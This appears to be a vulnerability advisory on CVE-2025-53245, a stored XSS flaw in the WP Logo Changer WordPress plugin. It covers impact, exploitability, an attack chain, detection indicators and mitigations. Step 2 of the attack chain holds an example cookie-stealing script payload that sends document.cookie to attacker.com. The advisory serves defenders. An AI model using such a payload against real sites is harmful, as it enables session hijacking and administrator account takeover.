CVE-2025-53245: 
WordPress vulnerability analysis and mitigation

CVE-2025-53245 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Logo Changer WordPress plugin (slug: am-login-logo) by Afzal Multani. It affects all versions up to and including 1.2, with no official patch available as of the time of disclosure. The vulnerability was reported by researcher Nguyen Xuan Chien on May 8, 2025, and published by Patchstack on June 7, 2025. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and specifically manifests as Stored XSS, meaning malicious script payloads are persisted server-side and executed in victims' browsers upon page load. The plugin's login logo customization functionality (am-login-logo) fails to properly sanitize or escape user-supplied input before storing and rendering it on web pages. Exploitation requires no authentication (unauthenticated attacker can submit the payload), but successful impact requires a privileged user to interact with the affected page, such as visiting the login screen where the malicious logo configuration is rendered (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress login page, which execute in the browsers of any user — including administrators — who visit the affected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of users to malicious sites. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or traffic (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack classifies it as expected to be exploited and notes its suitability for mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP Logo Changer plugin (version ≤ 1.2) using tools like WPScan, Shodan, or by checking the plugin slug am-login-logo in publicly accessible wp-content/plugins/ directories.
2. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) intended to be injected into the plugin's logo configuration field.
3. Submit payload: Without authentication, submit the crafted payload through the plugin's input mechanism (e.g., a publicly accessible settings form or API endpoint exposed by the plugin) that stores the value server-side.
4. Trigger execution: Wait for a privileged user (e.g., an administrator) to visit the WordPress login page where the malicious logo is rendered, causing the stored script to execute in their browser.
5. Achieve objective: Harvest session cookies, redirect the victim, or perform actions on behalf of the administrator to escalate access or further compromise the site (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings endpoints associated with am-login-logo from unauthenticated or unknown IP addresses.
• File System: Unexpected or modified entries in the WordPress database (wp_options table) related to the WP Logo Changer plugin settings containing script tags or encoded JavaScript.
• Network: Outbound requests from victim browsers to unknown external domains following visits to the WordPress login page (/wp-login.php), potentially carrying cookie or session data.
• Browser/Application: Unexpected JavaScript execution or redirects observed on the WordPress login page (wp-login.php) by administrators or users.

As of the disclosure date (June 7, 2025), no official patch from the plugin developer is available for WP Logo Changer version 1.2 or earlier. Site administrators should consider deactivating and removing the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules and restricting access to the WordPress login page to trusted IP ranges can reduce exposure (Patchstack).